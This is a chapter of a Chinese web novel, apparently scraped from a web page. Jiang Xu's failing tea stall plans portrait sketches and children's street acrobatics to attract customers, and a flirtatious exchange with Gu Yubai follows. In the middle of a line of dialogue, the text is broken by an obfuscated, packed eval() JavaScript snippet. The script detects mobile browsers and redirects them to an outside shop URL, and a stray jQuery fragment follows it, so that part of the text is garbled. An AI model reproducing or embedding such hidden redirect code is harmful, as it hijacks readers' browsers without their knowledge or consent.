茶饮铺子就开在安顾堂门口,支起棚子,摆上摊位,放置几张桌椅便可开张了。
第一日,姜许一众人早早就来到铺子上忙前忙后,实际情况比姜许预想的还差,茶饮铺子门可罗雀。
姜许站在桌案后面,面前摆着整整齐齐的茶壶和粗瓷碗,果茶和豆乳茶已备好一部分,甜香从铺子飘出去老远。由于夏日炎热,豆浆果子易腐坏,因而不便准备过多,需要多时再现做。
然而从早到晚,上前问价的客人拢共才八个,三个是隔壁包子铺、粥铺的老板来凑热闹,还有两个误以为这是吃饭的地儿,仅有一个领着孩子的妇人付了钱,还是被一月八月哄着买的,剩下几个只丢下一句“什么茶这么贵”就走了。
天色昏暗,姜许众人带着瓶瓶罐罐,泄气地打道回府。
回到安顾堂,一月把装在钱袋子里的铜板一股脑儿倒了出来,趴在桌案上数着:“二、四、六……第一日营收,十二文。”
其他几个孩子坐在旁边哭丧着脸。
这样下去可不行,她何时才能靠自己撑起安顾堂,把顾誉白的钱还上啊?姜许郁闷。
四月不知何时把今日唯一顾客的样貌画了下来,配上孩子和妇人喝下果茶后眉开眼笑的模样,将画拿给姜许瞧。
姜许接过,欣喜道:“你何时画的?似乎比上次的画更有长进了。这是我们开业第一日的成果,万事开头难,好歹卖出去了一份,我要把你这副画贴墙上,时刻提醒我们。”
四月眨眼,露出一排整齐的小牙。
“挂哪呢?”姜许找了些浆糊,把画纸的四个角各涂了一遍,寻了个合适的空墙面贴上去,后退几步,盯着这幅画发愣。
她忽地灵机一动,脑中闪过一个念头。她从前在街头常看见那种给客人画肖像速写的生意,旁边还会围着三三两两的人群观看。
对啊!她本就会画速写,加上侧写的本事,她最擅长快速抓住人物特征,不费多少功夫就能轻松完成一张。
完全可以将肖像画和茶饮结合起来,凡是在本店消费者则可获得一次免费肖像速写的机会,如此一来,街上那些游手好闲之辈以及孩子妇人定会觉得新颖,因好奇而驻足观看,人气就慢慢攒起来了。
有了人气,一切好说!
姜许将这个初步念头润色丰满了一番,还给每个人分配了适合的任务,决定将声势造得越大越好,不能再如此窝窝囊囊下去。
“集合了!集合了!”姜许拍手,先卖一卖关子,“都打起精神来!我接下来要宣布一件隆重的事!”
孩子们围上去,好奇地望着姜许。
“什么事?姐姐快说!”八月瞪着大眼睛,扑闪扑闪。
“她这是有新招了。”二月一眼看穿。
姜许神秘一笑,紧接着将画像的主意娓娓道来,末了安排道:“我和四月搭档,主要画像归我,增补细节和描边归你。若是人多我忙不多来,我们俩就得分工,小孩交给你画,再不济只画半身小像,客人带走也高兴。”
四月第一个接到任务,乐呵呵地用力点头。
姜许又转头望向三月五月:“轮到你俩了。你们之前混迹于街头的时候常和人打斗,混得还不错,应该有些本事绝活儿在身上吧?”
五月当即原地翻了个分头,落地时稳稳站着:“姐姐,这种算吗?”
“当然算!还有吗?”姜许眼睛亮了亮。
“姐姐你等我一下。”说罢,五月跑向院落,再回来时手上抓着三颗小石子,一抛一接,石子在空中轮流转圈,一颗没落。身法熟练,和杂技班子简直别无二样。
其他孩子情不自禁为他鼓起掌来。
三月也不甘示弱,他趁着这段空子,从厨房拿来了几块木柴:“到我了!我给大家表演个空手劈木柴!”
只见他屏住呼吸,卯足了浑身力气,全部倾注于右手上,猛地抬起手发力,狠狠往下一劈,木柴竟被生生劈成了两截。
他将两截木块举起来给大家看,洋洋得意道:“怎么样?我的力气大不大?”
满座惊叹,赞不绝口。
姜许讶异地张大了嘴:“你们俩真有两下子,这活儿交给你俩我绝对放心。”
“姐姐,这些杂技我也行!”六月的声音从角落里传出。
“你也演一段,我们瞧瞧。”姜许回她。
六月大步上前,双手撑地,一条腿向上一翻,另一只腿跟上,开始倒立行走,小小的身躯稳稳地倒立于地面,愣是用双手往前直直走了十来步。
“咱们六月真有劲儿,丝毫不输男孩,”姜许夸她,“咱们这儿小小的安顾堂竟如此卧虎藏龙。”
姜许清了清嗓子,继续道:“明日开始,你们仨负责在铺子旁边表演,翻跟头扔石子都行,怎么热闹怎么来,把人引到铺子上就行。若是有人和你们搭讪闲聊,就趁机介绍我们的果茶,我说明白了吗?”
“明白了!”三人齐声道。
“一月记账,剩下的二月七月八月帮我打理铺子,就一些打下手的活儿,比如倒茶、洗碗等。”
“我不和他们俩一起干活。”二月反对道。
“为何?”
“我们三个人的活儿混在一起不分明,我做事干净利落,受不了磨磨唧唧的人。”他将其余两人含沙射影了一通。
八月不服气地嘟嘴:“我干活很快的!”
“你怎么还挑起来了?你……”姜许蹙眉,正准备借机好好教育他一番,一月却插了话。
“姐姐,我和二月换吧,我来打下手,让二月记账吧。”
姜许错愕:“啊?”
一月解释道:“我不擅长记账,二月常常看书写字,这方面定是比我精通得多。”
姜许本想把繁重的活儿多交给男孩做,见一月如此说,只好作罢。
“那好吧,就依你说得来。任务都分配下去了,明日我们一起努力,定要把茶饮铺整得热热闹闹的,让整条街都知道安顾堂的新营生!等结束了,奖励你们一人一碗果茶,作为当日工钱。”
“这么快就给手下孩子发工钱了?这是把仅有的营收分一分,准备歇业闭店了?”
未见其人,先闻其声。顾誉白踩着月色踏进了院落。
“顾员外,你能不能盼着我点好?”
“实事求是,我听闻你今日只卖出去了一份。”
“……你来这儿就为了说这个?”
姜许暗暗不忿:可口可乐第一年只卖出去二十五瓶呢,这叫厚积薄发。
“我是来安慰你的。”
“你就这样安慰
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17886615|212570||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
我?”
“那自然不是。我在想有什么忙我能帮上的?明日我派些人去给你撑场子,排队买你的果茶,路人一瞧这么多抢着买,自然就会围上来。”
“不用了,因为我已经想到了一个好点子了,明日你等着瞧。”姜许兴致勃勃将自己的一番图谋讲给他听,说完后期盼地望着他,似乎在等他的肯定。
“倒是个新鲜主意,至少我没见过。”
姜许看了眼四周的孩子,有的你追我赶正在闹腾,有的围着听他们谈话。
她催促道:“天色不早了,你们都该回去睡觉了,不然明早起不来我可不喊你们,就只能孤独地留在家里守着。”
孩子们听闻此言后,一个接一个朝房里走去,落在后头的,一月挨个提醒。
堂间顷刻间静了下来。
“顾员外,你能当我的第一个客人吗?”姜许捧着脸,笑眯眯道。
顾誉白只一瞬便领悟其中含义,扬眉道:“你要给我画像?”
“你生得这样好看,不多画几张画像留存于世,岂不可惜了?”
“你说什么?”顾誉白追问。
“什么?”
“你说我长得如何?”
“您长得俊俏,貌比潘安,不逊色于徐公。”姜许脱口而出。
顾誉白皱眉,语气深沉:“徐公是谁?”
姜许一下子说顺嘴了,忘了古代徐公这个称呼很常见,这里一条街上或许就有好几位。顾誉白应该一时没联想到,她所说的徐公是《战国策》里邹忌提到的那位。
这下糟了,拍马屁拍到马腿了。
姜许赶忙解释:“我说的是《战国策》里的一篇文章,提到了徐公。”
顾誉白眯了眯眼:“你还看政治谋略方面的书?”
“啊,对,我看的书比较杂,有什么看什么,不挑。”姜许赔笑。
“真是这样?”
姜许一脸真诚:“真的,我骗你做甚。”
“上回在路上,我见你瞅了徐纪北的马车好几眼。”
“……谁啊?”姜许一头雾水。
谁的马车?她霎时间记不起,若真说是看马车,兴许是因为那马车玲珑绮丽,她图个新鲜华丽才多看了两眼。
“你当真不记得了?”顾誉白意味深长地望着她。
“这名字闻所未闻……”
“徐家也是这长宁城的富绅之一,当然,不及我顾家便是了。徐纪北三十余三,年岁不算高,但名望高,大家称他一声徐公。”
“这样啊,所以你提他做什么……”姜许依旧不解。
“徐纪北虽长我好几岁,但……”顾誉白顿了顿,“相貌英俊,一直未娶正妻,在长宁城的世家小姐们中,很受欢迎。”
姜许不屑:“他岁数那么大了,能英俊到哪去?”
“顾员外,你肯定也很受世家小姐们欢迎吧?年轻有为,家财万贯,一表人才……”姜许掰着手指头,细数顾誉白的长处。
顾誉白强压嘴角,装作漫不经心,但意气扬扬的眼神出卖了他。
他很受用。
“好了,你再不画像,天都快亮了,”顾誉白在她对面坐下,调整好姿势,“你要画多久?一盏茶?”
“差不多,我去拿笔,去去就回。”